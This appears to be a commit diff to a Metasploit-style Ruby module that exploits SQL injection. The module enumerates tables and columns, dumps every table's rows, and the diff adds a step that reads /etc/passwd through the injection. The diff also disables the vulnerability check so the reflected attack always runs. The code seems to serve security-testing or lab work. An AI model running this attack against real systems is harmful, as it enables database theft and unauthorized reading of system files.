@@ -36,7 +36,7 @@ def initialize(info = {})
3636 end
3737
3838 def boolean_blind
39- encoder = datastore [ 'ENCODER' ] & .empty? ? nil : datastore [ 'ENCODER' ] . intern
39+ encoder = datastore [ 'ENCODER' ] . nil? || datastore [ 'ENCODER' ] . empty? ? nil : datastore [ 'ENCODER' ] . intern
4040 sqli = create_sqli ( dbms : @dbms , opts : {
4141 encoder : encoder ,
4242 hex_encode_strings : datastore [ 'HEX_ENCODE_STRINGS' ] ,
@@ -57,7 +57,7 @@ def boolean_blind
5757 end
5858
5959 def reflected
60- encoder = datastore [ 'ENCODER' ] & .empty? ? nil : datastore [ 'ENCODER' ] . intern
60+ encoder = datastore [ 'ENCODER' ] . nil? || datastore [ 'ENCODER' ] . empty? ? nil : datastore [ 'ENCODER' ] . intern
6161 truncation = datastore [ 'TRUNCATION_LENGTH' ] <= 0 ? nil : datastore [ 'TRUNCATION_LENGTH' ]
6262 sqli = create_sqli ( dbms : @dbms , opts : {
6363 encoder : encoder ,
@@ -69,19 +69,26 @@ def reflected
6969 } ) do |payload |
7070 sock = TCPSocket . open ( datastore [ 'RHOST' ] , datastore [ 'RPORT' ] )
7171 sock . puts ( '0 union ' + payload )
72- res = sock . gets &.chomp
72+ res = ""
73+ begin
74+ while true
75+ res += sock . readline
76+ end
77+ rescue EOFError
78+ vprint_status ( "Hit end of file..." )
79+ end
7380 sock . close
7481 truncation ? res [ 0 , truncation ] : res
7582 end
76- unless sqli . test_vulnerable
77- print_bad ( "Doesn't seem to be vulnerable" )
78- return
79- end
83+ # unless sqli.test_vulnerable
84+ # print_bad("Doesn't seem to be vulnerable")
85+ # return
86+ # end
8087 perform_sqli ( sqli )
8188 end
8289
8390 def time_blind
84- encoder = datastore [ 'ENCODER' ] & .empty? ? nil : datastore [ 'ENCODER' ] . intern
91+ encoder = datastore [ 'ENCODER' ] . nil? || datastore [ 'ENCODER' ] . empty? ? nil : datastore [ 'ENCODER' ] . intern
8592 sqli = create_sqli ( dbms : @dbms , opts : {
8693 encoder : encoder ,
8794 hex_encode_strings : datastore [ 'HEX_ENCODE_STRINGS' ] ,
@@ -109,15 +116,19 @@ def time_blind
109116 def perform_sqli ( sqli )
110117 print_good "dbms version: #{ sqli . version } "
111118 tables = sqli . enum_table_names
119+ tables . map! { |table | table . strip }
112120 print_good "tables: #{ tables . join ( ', ' ) } "
113121 tables . each do |table |
114122 columns = sqli . enum_table_columns ( table )
123+ columns . map! { |column | column . strip }
115124 print_good "#{ table } (#{ columns . join ( ', ' ) } )"
116125 content = sqli . dump_table_fields ( table , columns )
117126 content . each do |row |
118127 print_good "\t " + row . join ( ', ' )
119128 end
120129 end
130+ passwd_content = sqli . read_from_file ( '/etc/passwd' )
131+ print_good ( "Got #{ passwd_content } " )
121132 end
122133
123134 def run
0 commit comments